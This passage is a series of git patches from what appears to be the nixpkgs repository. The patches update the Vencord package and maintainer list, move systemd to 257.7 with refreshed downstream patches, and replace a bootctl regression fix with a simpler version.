   nativeBuildInputs = [

From 8a371a591c523bff5b495ca9c8afd72a3e5b1db1 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 3 Jul 2025 19:49:46 +0200
Subject: [PATCH 2816/4511] vencord: add myself as maintainer

(cherry picked from commit 9ac1f1812b524074dd479bc40396a0700ecf078b)
---
 pkgs/by-name/ve/vencord/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index e6caf3bfa3de..3bb9de8cb72f 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -83,6 +83,7 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = with lib.maintainers; [
       donteatoreo
       FlafyDev
+      Gliczy
       NotAShelf
       Scrumplex
     ];

From 90d5b68582b443e0ee3813d5d1f49a595dcb4feb Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 23 Jul 2025 09:13:21 +0200
Subject: [PATCH 2817/4511] vencord: 1.12.6 -> 1.12.7

(cherry picked from commit b71a2ec46d47dae5ac36b3fe55d7d2a3324590d3)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 3bb9de8cb72f..aae37eecd725 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.6";
+  version = "1.12.7";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-7JT8BMKUhIwYMkIwr2mD8IQLDpldcDtAKh6R1tbAKMw=";
+    hash = "sha256-MS88KCH8ZdLyKoR0K45CSJutZSKUhz4FAE2VtrSx0ic=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From 7aec69425808aa85ae4350f5b95094e50acd6884 Mon Sep 17 00:00:00 2001
From: Will Fancher <elvishjerricco@gmail.com>
Date: Fri, 27 Jun 2025 20:24:20 -0400
Subject: [PATCH 2818/4511] systemd: 257.6 -> 257.7

(cherry picked from commit b892dfe549e2494a1d177d48d33030f4b1b77041)
---
 ...on-t-try-to-unmount-nix-or-nix-store.patch |   4 +-
 .../systemd/0003-Fix-NixOS-containers.patch   |   2 +-
 ...f-a-useless-message-in-user-sessions.patch |   2 +-
 ...e-usr-share-zoneinfo-to-etc-zoneinfo.patch |   4 +-
 ...-environment-when-calling-generators.patch |   4 +-
 ...ontext_init-fix-driver-name-checking.patch |   2 +-
 ...uggest-systemdctl-edit-runtime-on-sy.patch |   2 +-
 ....build-do-not-create-systemdstatedir.patch |   4 +-
 ...pdate-list-remove-all-instances-of-s.patch | 125 ------------------
 ...ry-to-update-the-same-file-multiple-.patch |  89 +++++++++++++
 .../0019-meson-Don-t-link-ssh-dropins.patch   |   7 +-
 ...nit_file_exists_full-follow-symlinks.patch |   9 +-
 pkgs/os-specific/linux/systemd/default.nix    |  12 +-
 13 files changed, 115 insertions(+), 151 deletions(-)
 delete mode 100644 pkgs/os-specific/linux/systemd/0018-Revert-bootctl-update-list-remove-all-instances-of-s.patch
 create mode 100644 pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch

diff --git a/pkgs/os-specific/linux/systemd/0002-Don-t-try-to-unmount-nix-or-nix-store.patch b/pkgs/os-specific/linux/systemd/0002-Don-t-try-to-unmount-nix-or-nix-store.patch
index d6a64437c2ac..9e3496986859 100644
--- a/pkgs/os-specific/linux/systemd/0002-Don-t-try-to-unmount-nix-or-nix-store.patch
+++ b/pkgs/os-specific/linux/systemd/0002-Don-t-try-to-unmount-nix-or-nix-store.patch
@@ -27,10 +27,10 @@ index d6a256c4a7..f74d5198f1 100644
                          "/etc"))
                  return true;
 diff --git a/src/shutdown/umount.c b/src/shutdown/umount.c
-index 4bc01c75e0..ede9ac7b87 100644
+index 84da5eed63..d6e2f36d52 100644
 --- a/src/shutdown/umount.c
 +++ b/src/shutdown/umount.c
-@@ -170,8 +170,10 @@ int mount_points_list_get(const char *mountinfo, MountPoint **head) {
+@@ -175,8 +175,10 @@ int mount_points_list_get(const char *mountinfo, MountPoint **head) {
  static bool nonunmountable_path(const char *path) {
          assert(path);
  
diff --git a/pkgs/os-specific/linux/systemd/0003-Fix-NixOS-containers.patch b/pkgs/os-specific/linux/systemd/0003-Fix-NixOS-containers.patch
index 23029da39f23..7cc2804a05bb 100644
--- a/pkgs/os-specific/linux/systemd/0003-Fix-NixOS-containers.patch
+++ b/pkgs/os-specific/linux/systemd/0003-Fix-NixOS-containers.patch
@@ -10,7 +10,7 @@ container, so checking early whether it exists will fail.
  1 file changed, 2 insertions(+)
 
 diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
-index 500725d35f..2b735e4df4 100644
+index 6f90f2f418..74b2a237d3 100644
 --- a/src/nspawn/nspawn.c
 +++ b/src/nspawn/nspawn.c
 @@ -6189,6 +6189,7 @@ static int run(int argc, char *argv[]) {
diff --git a/pkgs/os-specific/linux/systemd/0005-Get-rid-of-a-useless-message-in-user-sessions.patch b/pkgs/os-specific/linux/systemd/0005-Get-rid-of-a-useless-message-in-user-sessions.patch
index c23b7315cde9..6c4a41ab0609 100644
--- a/pkgs/os-specific/linux/systemd/0005-Get-rid-of-a-useless-message-in-user-sessions.patch
+++ b/pkgs/os-specific/linux/systemd/0005-Get-rid-of-a-useless-message-in-user-sessions.patch
@@ -13,7 +13,7 @@ in containers.
  1 file changed, 2 insertions(+), 1 deletion(-)
 
 diff --git a/src/core/manager.c b/src/core/manager.c
-index f21a4f7ceb..4c24ce5c98 100644
+index 4ccaba9054..9577b89783 100644
 --- a/src/core/manager.c
 +++ b/src/core/manager.c
 @@ -1672,7 +1672,8 @@ static unsigned manager_dispatch_stop_when_bound_queue(Manager *m) {
diff --git a/pkgs/os-specific/linux/systemd/0007-Change-usr-share-zoneinfo-to-etc-zoneinfo.patch b/pkgs/os-specific/linux/systemd/0007-Change-usr-share-zoneinfo-to-etc-zoneinfo.patch
index 119dd75bc2c3..1f4184e92836 100644
--- a/pkgs/os-specific/linux/systemd/0007-Change-usr-share-zoneinfo-to-etc-zoneinfo.patch
+++ b/pkgs/os-specific/linux/systemd/0007-Change-usr-share-zoneinfo-to-etc-zoneinfo.patch
@@ -75,7 +75,7 @@ index 29afb08ebc..398ff340cd 100644
                  return -EINVAL;
          if (!timezone_is_valid(e, LOG_DEBUG))
 diff --git a/src/firstboot/firstboot.c b/src/firstboot/firstboot.c
-index 9be62b8df3..2044e9f8d0 100644
+index a389eeae10..c817e91991 100644
 --- a/src/firstboot/firstboot.c
 +++ b/src/firstboot/firstboot.c
 @@ -598,7 +598,7 @@ static int process_timezone(int rfd) {
@@ -88,7 +88,7 @@ index 9be62b8df3..2044e9f8d0 100644
          r = symlinkat_atomic_full(e, pfd, f, /* make_relative= */ false);
          if (r < 0)
 diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
-index 2b735e4df4..7a21f34edd 100644
+index 74b2a237d3..cf9eabf0f2 100644
 --- a/src/nspawn/nspawn.c
 +++ b/src/nspawn/nspawn.c
 @@ -1851,8 +1851,8 @@ int userns_mkdir(const char *root, const char *path, mode_t mode, uid_t uid, gid
diff --git a/pkgs/os-specific/linux/systemd/0013-inherit-systemd-environment-when-calling-generators.patch b/pkgs/os-specific/linux/systemd/0013-inherit-systemd-environment-when-calling-generators.patch
index 14ff6ca57d46..856fdee93475 100644
--- a/pkgs/os-specific/linux/systemd/0013-inherit-systemd-environment-when-calling-generators.patch
+++ b/pkgs/os-specific/linux/systemd/0013-inherit-systemd-environment-when-calling-generators.patch
@@ -16,10 +16,10 @@ executables that are being called from managers.
  1 file changed, 8 insertions(+)
 
 diff --git a/src/core/manager.c b/src/core/manager.c
-index 4c24ce5c98..3c944559fc 100644
+index 9577b89783..9cfd2798b9 100644
 --- a/src/core/manager.c
 +++ b/src/core/manager.c
-@@ -4135,9 +4135,17 @@ static int build_generator_environment(Manager *m, char ***ret) {
+@@ -4158,9 +4158,17 @@ static int build_generator_environment(Manager *m, char ***ret) {
           * adjust generated units to that. Let's pass down some bits of information that are easy for us to
           * determine (but a bit harder for generator scripts to determine), as environment variables. */
  
diff --git a/pkgs/os-specific/linux/systemd/0015-tpm2_context_init-fix-driver-name-checking.patch b/pkgs/os-specific/linux/systemd/0015-tpm2_context_init-fix-driver-name-checking.patch
index 41e836ca04eb..fe8ac0ddd913 100644
--- a/pkgs/os-specific/linux/systemd/0015-tpm2_context_init-fix-driver-name-checking.patch
+++ b/pkgs/os-specific/linux/systemd/0015-tpm2_context_init-fix-driver-name-checking.patch
@@ -27,7 +27,7 @@ filename_is_valid with path_is_valid.
  1 file changed, 1 insertion(+), 1 deletion(-)
 
 diff --git a/src/shared/tpm2-util.c b/src/shared/tpm2-util.c
-index 36a0f906da..e0f42abca2 100644
+index 5b6b3ea93c..8ab04241b6 100644
 --- a/src/shared/tpm2-util.c
 +++ b/src/shared/tpm2-util.c
 @@ -721,7 +721,7 @@ int tpm2_context_new(const char *device, Tpm2Context **ret_context) {
diff --git a/pkgs/os-specific/linux/systemd/0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch b/pkgs/os-specific/linux/systemd/0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch
index 6c7a1aff4094..50dd842cc221 100644
--- a/pkgs/os-specific/linux/systemd/0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch
+++ b/pkgs/os-specific/linux/systemd/0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch
@@ -30,7 +30,7 @@ are written into `$XDG_CONFIG_HOME/systemd/user`.
  1 file changed, 3 insertions(+)
 
 diff --git a/src/systemctl/systemctl-edit.c b/src/systemctl/systemctl-edit.c
-index c42a31153d..154dbf0402 100644
+index 7165fa1cf7..7498cf9f4c 100644
 --- a/src/systemctl/systemctl-edit.c
 +++ b/src/systemctl/systemctl-edit.c
 @@ -323,6 +323,9 @@ int verb_edit(int argc, char *argv[], void *userdata) {
diff --git a/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch b/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch
index debcaab14e81..76b85b8db674 100644
--- a/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch
+++ b/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch
@@ -8,10 +8,10 @@ Subject: [PATCH] meson.build: do not create systemdstatedir
  1 file changed, 1 deletion(-)
 
 diff --git a/meson.build b/meson.build
-index bffda86845..cb5dcec0f9 100644
+index 7ede6f7a96..90860be99a 100644
 --- a/meson.build
 +++ b/meson.build
-@@ -2781,7 +2781,6 @@ install_data('LICENSE.GPL2',
+@@ -2795,7 +2795,6 @@ install_data('LICENSE.GPL2',
  install_subdir('LICENSES',
                 install_dir : docdir)
  
diff --git a/pkgs/os-specific/linux/systemd/0018-Revert-bootctl-update-list-remove-all-instances-of-s.patch b/pkgs/os-specific/linux/systemd/0018-Revert-bootctl-update-list-remove-all-instances-of-s.patch
deleted file mode 100644
index b4b9d9ee3e3d..000000000000
--- a/pkgs/os-specific/linux/systemd/0018-Revert-bootctl-update-list-remove-all-instances-of-s.patch
+++ /dev/null
@@ -1,125 +0,0 @@
-From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
-From: Jared Baur <jaredbaur@fastmail.com>
-Date: Sun, 17 Nov 2024 12:46:36 -0800
-Subject: [PATCH] Revert "bootctl: update/list/remove all instances of
- systemd-boot in /EFI/BOOT"
-
-This reverts commit 929f41c6528fb630753d4e2f588a8eb6c2f6a609.
----
- src/bootctl/bootctl-install.c | 52 ++++-------------------------------
- src/bootctl/bootctl-status.c  |  8 ++++--
- 2 files changed, 12 insertions(+), 48 deletions(-)
-
-diff --git a/src/bootctl/bootctl-install.c b/src/bootctl/bootctl-install.c
-index 7ad264d882..298e749ed6 100644
---- a/src/bootctl/bootctl-install.c
-+++ b/src/bootctl/bootctl-install.c
-@@ -323,46 +323,6 @@ static int create_subdirs(const char *root, const char * const *subdirs) {
-         return 0;
- }
- 
--static int update_efi_boot_binaries(const char *esp_path, const char *source_path) {
--        _cleanup_closedir_ DIR *d = NULL;
--        _cleanup_free_ char *p = NULL;
--        int r, ret = 0;
--
--        r = chase_and_opendir("/EFI/BOOT", esp_path, CHASE_PREFIX_ROOT|CHASE_PROHIBIT_SYMLINKS, &p, &d);
--        if (r == -ENOENT)
--                return 0;
--        if (r < 0)
--                return log_error_errno(r, "Failed to open directory \"%s/EFI/BOOT\": %m", esp_path);
--
--        FOREACH_DIRENT(de, d, break) {
--                _cleanup_close_ int fd = -EBADF;
--                _cleanup_free_ char *v = NULL;
--
--                if (!endswith_no_case(de->d_name, ".efi"))
--                        continue;
--
--                fd = openat(dirfd(d), de->d_name, O_RDONLY|O_CLOEXEC);
--                if (fd < 0)
--                        return log_error_errno(errno, "Failed to open \"%s/%s\" for reading: %m", p, de->d_name);
--
--                r = get_file_version(fd, &v);
--                if (r == -ESRCH)
--                        continue;  /* No version information */
--                if (r < 0)
--                        return r;
--                if (startswith(v, "systemd-boot ")) {
--                        _cleanup_free_ char *dest_path = NULL;
--
--                        dest_path = path_join(p, de->d_name);
--                        if (!dest_path)
--                                return log_oom();
--
--                        RET_GATHER(ret, copy_file_with_version_check(source_path, dest_path, /* force = */ false));
--                }
--        }
--
--        return ret;
--}
- 
- static int copy_one_file(const char *esp_path, const char *name, bool force) {
-         char *root = IN_SET(arg_install_source, ARG_INSTALL_SOURCE_AUTO, ARG_INSTALL_SOURCE_IMAGE) ? arg_root : NULL;
-@@ -416,12 +376,9 @@ static int copy_one_file(const char *esp_path, const char *name, bool force) {
-                 if (r < 0)
-                         return log_error_errno(r, "Failed to resolve path %s under directory %s: %m", v, esp_path);
- 
--                RET_GATHER(ret, copy_file_with_version_check(source_path, default_dest_path, force));
--
--                /* If we were installed under any other name in /EFI/BOOT, make sure we update those binaries
--                 * as well. */
--                if (!force)
--                        RET_GATHER(ret, update_efi_boot_binaries(esp_path, source_path));
-+                r = copy_file_with_version_check(source_path, default_dest_path, force);
-+                if (r < 0 && ret == 0)
-+                        ret = r;
-         }
- 
-         return ret;
-@@ -1102,6 +1059,9 @@ static int remove_boot_efi(const char *esp_path) {
-                 if (!endswith_no_case(de->d_name, ".efi"))
-                         continue;
- 
-+                if (!startswith_no_case(de->d_name, "boot"))
-+                        continue;
-+
-                 fd = openat(dirfd(d), de->d_name, O_RDONLY|O_CLOEXEC);
-                 if (fd < 0)
-                         return log_error_errno(errno, "Failed to open \"%s/%s\" for reading: %m", p, de->d_name);
-diff --git a/src/bootctl/bootctl-status.c b/src/bootctl/bootctl-status.c
-index 6bcb348935..fe753510ce 100644
---- a/src/bootctl/bootctl-status.c
-+++ b/src/bootctl/bootctl-status.c
-@@ -187,6 +187,7 @@ static int status_variables(void) {
- static int enumerate_binaries(
-                 const char *esp_path,
-                 const char *path,
-+                const char *prefix,
-                 char **previous,
-                 bool *is_first) {
- 
-@@ -212,6 +213,9 @@ static int enumerate_binaries(
-                 if (!endswith_no_case(de->d_name, ".efi"))
-                         continue;
- 
-+                if (prefix && !startswith_no_case(de->d_name, prefix))
-+                        continue;
-+
-                 filename = path_join(p, de->d_name);
-                 if (!filename)
-                         return log_oom();
-@@ -268,11 +272,11 @@ static int status_binaries(const char *esp_path, sd_id128_t partition) {
-                 printf(" (/dev/disk/by-partuuid/" SD_ID128_UUID_FORMAT_STR ")", SD_ID128_FORMAT_VAL(partition));
-         printf("\n");
- 
--        r = enumerate_binaries(esp_path, "EFI/systemd", &last, &is_first);
-+        r = enumerate_binaries(esp_path, "EFI/systemd", NULL, &last, &is_first);
-         if (r < 0)
-                 goto fail;
- 
--        k = enumerate_binaries(esp_path, "EFI/BOOT", &last, &is_first);
-+        k = enumerate_binaries(esp_path, "EFI/BOOT", "boot", &last, &is_first);
-         if (k < 0) {
-                 r = k;
-                 goto fail;
diff --git a/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch b/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch
new file mode 100644
index 000000000000..8adac9fb9bde
--- /dev/null
+++ b/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch
@@ -0,0 +1,89 @@
+From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
+From: Yu Watanabe <watanabe.yu+github@gmail.com>
+Date: Wed, 19 Jun 2024 15:55:59 +0900
+Subject: [PATCH] bootctl: do not try to update the same file multiple times
+
+Otherwise, copy_file_with_version_check() -> version_check() will fail
+and warn about that the same version is already installed.
+
+Fixes a regression caused by 929f41c6528fb630753d4e2f588a8eb6c2f6a609.
+Fixes #33392.
+
+bootctl: add missing error messages in version_check()
+
+bootctl: check file type before update
+
+This also adds missing assertions.
+
+Follow-up for 929f41c6528fb630753d4e2f588a8eb6c2f6a609.
+---
+ src/bootctl/bootctl-install.c | 22 ++++++++++++++++++----
+ 1 file changed, 18 insertions(+), 4 deletions(-)
+
+diff --git a/src/bootctl/bootctl-install.c b/src/bootctl/bootctl-install.c
+index e15c2c6bed..7828ce1f08 100644
+--- a/src/bootctl/bootctl-install.c
++++ b/src/bootctl/bootctl-install.c
+@@ -195,14 +195,14 @@ static int version_check(int fd_from, const char *from, int fd_to, const char *t
+         if (r == -ESRCH)
+                 return log_notice_errno(r, "Source file \"%s\" does not carry version information!", from);
+         if (r < 0)
+-                return r;
++                return log_error_errno(r, "Failed to get version information of source file \"%s\": %m", from);
+ 
+         r = get_file_version(fd_to, &b);
+         if (r == -ESRCH)
+                 return log_notice_errno(r, "Skipping \"%s\", it's owned by another boot loader (no version info found).",
+                                         to);
+         if (r < 0)
+-                return r;
++                return log_error_errno(r, "Failed to get version information of \"%s\": %m", to);
+         if (compare_product(a, b) != 0)
+                 return log_notice_errno(SYNTHETIC_ERRNO(ESRCH),
+                                         "Skipping \"%s\", it's owned by another boot loader.", to);
+@@ -324,11 +324,15 @@ static int create_subdirs(const char *root, const char * const *subdirs) {
+         return 0;
+ }
+ 
+-static int update_efi_boot_binaries(const char *esp_path, const char *source_path) {
++static int update_efi_boot_binaries(const char *esp_path, const char *source_path, const char *exclude_path) {
+         _cleanup_closedir_ DIR *d = NULL;
+         _cleanup_free_ char *p = NULL;
+         int r, ret = 0;
+ 
++        assert(esp_path);
++        assert(source_path);
++        assert(exclude_path);
++
+         r = chase_and_opendir("/EFI/BOOT", esp_path, CHASE_PREFIX_ROOT|CHASE_PROHIBIT_SYMLINKS, &p, &d);
+         if (r == -ENOENT)
+                 return 0;
+@@ -339,9 +343,19 @@ static int update_efi_boot_binaries(const char *esp_path, const char *source_pat
+                 _cleanup_close_ int fd = -EBADF;
+                 _cleanup_free_ char *v = NULL;
+ 
++                if (!IN_SET(de->d_type, DT_REG, DT_UNKNOWN))
++                        continue;
++
+                 if (!endswith_no_case(de->d_name, ".efi"))
+                         continue;
+ 
++                /* Skip the file that is already updated. We cannot check if the paths are equal because the
++                 * file system is likely case insensitve. It's easiest to just check if the inodes are the
++                 * same.
++                 */
++                if (inode_same_at(dirfd(d), de->d_name, 0, exclude_path, 0))
++                        continue;
++
+                 fd = xopenat_full(dirfd(d), de->d_name, O_RDONLY|O_CLOEXEC|O_NONBLOCK|O_NOCTTY|O_NOFOLLOW, /* xopen_flags= */ 0, /* mode= */ 0);
+                 if (fd < 0)
+                         return log_error_errno(fd, "Failed to open \"%s/%s\" for reading: %m", p, de->d_name);
+@@ -429,7 +443,7 @@ static int copy_one_file(const char *esp_path, const char *name, bool force) {
+                 /* If we were installed under any other name in /EFI/BOOT, make sure we update those binaries
+                  * as well. */
+                 if (!force)
+-                        RET_GATHER(ret, update_efi_boot_binaries(esp_path, source_path));
++                        RET_GATHER(ret, update_efi_boot_binaries(esp_path, source_path, default_dest_path));
+         }
+ 
+         return ret;
diff --git a/pkgs/os-specific/linux/systemd/0019-meson-Don-t-link-ssh-dropins.patch b/pkgs/os-specific/linux/systemd/0019-meson-Don-t-link-ssh-dropins.patch
index a5b7c168ee94..55d8f989e842 100644
--- a/pkgs/os-specific/linux/systemd/0019-meson-Don-t-link-ssh-dropins.patch
+++ b/pkgs/os-specific/linux/systemd/0019-meson-Don-t-link-ssh-dropins.patch
@@ -8,10 +8,10 @@ Subject: [PATCH] meson: Don't link ssh dropins
  1 file changed, 2 insertions(+), 2 deletions(-)
 
 diff --git a/meson.build b/meson.build
-index d392610625..c17d0a1feb 100644
+index 90860be99a..f021f76031 100644
 --- a/meson.build
 +++ b/meson.build
-@@ -211,13 +211,13 @@ sshconfdir = get_option('sshconfdir')
+@@ -207,13 +207,13 @@ sshconfdir = get_option('sshconfdir')
  if sshconfdir == ''
          sshconfdir = sysconfdir / 'ssh/ssh_config.d'
  endif
@@ -27,6 +27,3 @@ index d392610625..c17d0a1feb 100644
  
  sshdprivsepdir = get_option('sshdprivsepdir')
  conf.set10('CREATE_SSHDPRIVSEPDIR', sshdprivsepdir != 'no' and not sshdprivsepdir.startswith('/usr/'))
--- 
-2.47.0
-
diff --git a/pkgs/os-specific/linux/systemd/0020-install-unit_file_exists_full-follow-symlinks.patch b/pkgs/os-specific/linux/systemd/0020-install-unit_file_exists_full-follow-symlinks.patch
index e138aca05ac2..4d7ceedcbab0 100644
--- a/pkgs/os-specific/linux/systemd/0020-install-unit_file_exists_full-follow-symlinks.patch
+++ b/pkgs/os-specific/linux/systemd/0020-install-unit_file_exists_full-follow-symlinks.patch
@@ -1,4 +1,4 @@
-From 7be486fb25dc4ea212cb17f6a3f4a434a557b0d9 Mon Sep 17 00:00:00 2001
+From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
 From: Marie Ramlow <me@nycode.dev>
 Date: Fri, 10 Jan 2025 15:51:33 +0100
 Subject: [PATCH] install: unit_file_exists_full: follow symlinks
@@ -8,10 +8,10 @@ Subject: [PATCH] install: unit_file_exists_full: follow symlinks
  1 file changed, 1 insertion(+), 1 deletion(-)
 
 diff --git a/src/shared/install.c b/src/shared/install.c
-index 53566b7eef..0975cd47c7 100644
+index 6d87858a3c..8da022eb64 100644
 --- a/src/shared/install.c
 +++ b/src/shared/install.c
-@@ -3217,7 +3217,7 @@ int unit_file_exists_full(RuntimeScope scope, const LookupPaths *lp, const char
+@@ -3226,7 +3226,7 @@ int unit_file_exists_full(RuntimeScope scope, const LookupPaths *lp, const char
                          &c,
                          lp,
                          name,
@@ -20,6 +20,3 @@ index 53566b7eef..0975cd47c7 100644
                          ret_path ? &info : NULL,
                          /* changes= */ NULL,
                          /* n_changes= */ NULL);
--- 
-2.47.0
-
diff --git a/pkgs/os-specific/linux/systemd/default.nix b/pkgs/os-specific/linux/systemd/default.nix
index 4a8a6610fe9f..0a87faf08e0b 100644
--- a/pkgs/os-specific/linux/systemd/default.nix
+++ b/pkgs/os-specific/linux/systemd/default.nix
@@ -197,7 +197,7 @@ assert withBootloader -> withEfi;
 let
   wantCurl = withRemote || withImportd;
 
-  version = "257.6";
+  version = "257.7";
 
   # Use the command below to update `releaseTimestamp` on every (major) version
   # change. More details in the commentary at mesonFlags.
@@ -215,7 +215,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "systemd";
     repo = "systemd";
     rev = "v${version}";
-    hash = "sha256-Myb/ra7NQTDzN7B9jn8svbhTrLSfiqWaSxREe/nDyYo=";
+    hash = "sha256-9OnjeMrfV5DSAoX/aetI4r/QLPYITUd2aOY0DYfkTzQ=";
   };
 
   # On major changes, or when otherwise required, you *must* :
@@ -245,11 +245,17 @@ stdenv.mkDerivation (finalAttrs: {
       ./0015-tpm2_context_init-fix-driver-name-checking.patch
       ./0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch
       ./0017-meson.build-do-not-create-systemdstatedir.patch
-      ./0018-Revert-bootctl-update-list-remove-all-instances-of-s.patch # https://github.com/systemd/systemd/issues/33392
+
+      # https://github.com/systemd/systemd/issues/33392
+      # This patch is a slightly modified version of this PR:
+      # https://github.com/systemd/systemd/pull/33400
+      ./0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch
+
       # systemd tries to link the systemd-ssh-proxy ssh config snippet with tmpfiles
       # if the install prefix is not /usr, but that does not work for us
       # because we include the config snippet manually
       ./0019-meson-Don-t-link-ssh-dropins.patch
+
       ./0020-install-unit_file_exists_full-follow-symlinks.patch
     ]
     ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isGnu) [

From 8a09eac651fcee474f782143ff9947da6879b98a Mon Sep 17 00:00:00 2001
From: Will Fancher <elvishjerricco@gmail.com>
Date: Fri, 18 Jul 2025 22:51:41 -0400
Subject: [PATCH 2819/4511] systemd: Use smaller bootctl patch.

The PR has been updated and simplified.

(cherry picked from commit a4d61af95028f0d234d306b7672c0a703673bd40)
---
 ...ail-when-the-same-file-is-updated-mu.patch | 57 ++++++++++++
 ...ry-to-update-the-same-file-multiple-.patch | 89 -------------------
 pkgs/os-specific/linux/systemd/default.nix    |  3 +-
 3 files changed, 58 insertions(+), 91 deletions(-)
 create mode 100644 pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
 delete mode 100644 pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch

diff --git a/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch b/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
new file mode 100644
index 000000000000..70c3f0ef5f26
--- /dev/null
+++ b/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
@@ -0,0 +1,57 @@
+From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
+From: Yu Watanabe <watanabe.yu+github@gmail.com>
+Date: Wed, 19 Jun 2024 16:11:23 +0900
+Subject: [PATCH] bootctl: do not fail when the same file is updated multiple
+ times
+
+In the second or later trial, copy_file_with_version_check() -> version_check()
+fails with -ESRCH. Let's ignore the failure.
+
+This also adds missing assertions in update_efi_boot_binaries(), and
+drop redundant version check in update_efi_boot_binaries(), as version
+will be anyway checked later.
+
+Fixes a regression caused by 929f41c6528fb630753d4e2f588a8eb6c2f6a609.
+Fixes #33392.
+---
+ src/bootctl/bootctl-install.c | 16 +++++++---------
+ 1 file changed, 7 insertions(+), 9 deletions(-)
+
+diff --git a/src/bootctl/bootctl-install.c b/src/bootctl/bootctl-install.c
+index e15c2c6bed..5b4cff5d5e 100644
+--- a/src/bootctl/bootctl-install.c
++++ b/src/bootctl/bootctl-install.c
+@@ -329,6 +329,9 @@ static int update_efi_boot_binaries(const char *esp_path, const char *source_pat
+         _cleanup_free_ char *p = NULL;
+         int r, ret = 0;
+ 
++        assert(esp_path);
++        assert(source_path);
++
+         r = chase_and_opendir("/EFI/BOOT", esp_path, CHASE_PREFIX_ROOT|CHASE_PROHIBIT_SYMLINKS, &p, &d);
+         if (r == -ENOENT)
+                 return 0;
+@@ -354,19 +357,14 @@ static int update_efi_boot_binaries(const char *esp_path, const char *source_pat
+                 if (r == 0)
+                         continue;
+ 
+-                r = get_file_version(fd, &v);
+-                if (r == -ESRCH)
+-                        continue;  /* No version information */
+-                if (r < 0)
+-                        return r;
+-                if (!startswith(v, "systemd-boot "))
+-                        continue;
+-
+                 _cleanup_free_ char *dest_path = path_join(p, de->d_name);
+                 if (!dest_path)
+                         return log_oom();
+ 
+-                RET_GATHER(ret, copy_file_with_version_check(source_path, dest_path, /* force = */ false));
++                r = copy_file_with_version_check(source_path, dest_path, /* force = */ false);
++                if (IN_SET(r, -ESTALE, -ESRCH))
++                        continue;
++                RET_GATHER(ret, r);
+         }
+ 
+         return ret;
diff --git a/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch b/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch
deleted file mode 100644
index 8adac9fb9bde..000000000000
--- a/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch
+++ /dev/null
@@ -1,89 +0,0 @@
-From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
-From: Yu Watanabe <watanabe.yu+github@gmail.com>
-Date: Wed, 19 Jun 2024 15:55:59 +0900
-Subject: [PATCH] bootctl: do not try to update the same file multiple times
-
-Otherwise, copy_file_with_version_check() -> version_check() will fail
-and warn about that the same version is already installed.
-
-Fixes a regression caused by 929f41c6528fb630753d4e2f588a8eb6c2f6a609.
-Fixes #33392.
-
-bootctl: add missing error messages in version_check()
-
-bootctl: check file type before update
-
-This also adds missing assertions.
-
-Follow-up for 929f41c6528fb630753d4e2f588a8eb6c2f6a609.
----
- src/bootctl/bootctl-install.c | 22 ++++++++++++++++++----
- 1 file changed, 18 insertions(+), 4 deletions(-)
-
-diff --git a/src/bootctl/bootctl-install.c b/src/bootctl/bootctl-install.c
-index e15c2c6bed..7828ce1f08 100644
---- a/src/bootctl/bootctl-install.c
-+++ b/src/bootctl/bootctl-install.c
-@@ -195,14 +195,14 @@ static int version_check(int fd_from, const char *from, int fd_to, const char *t
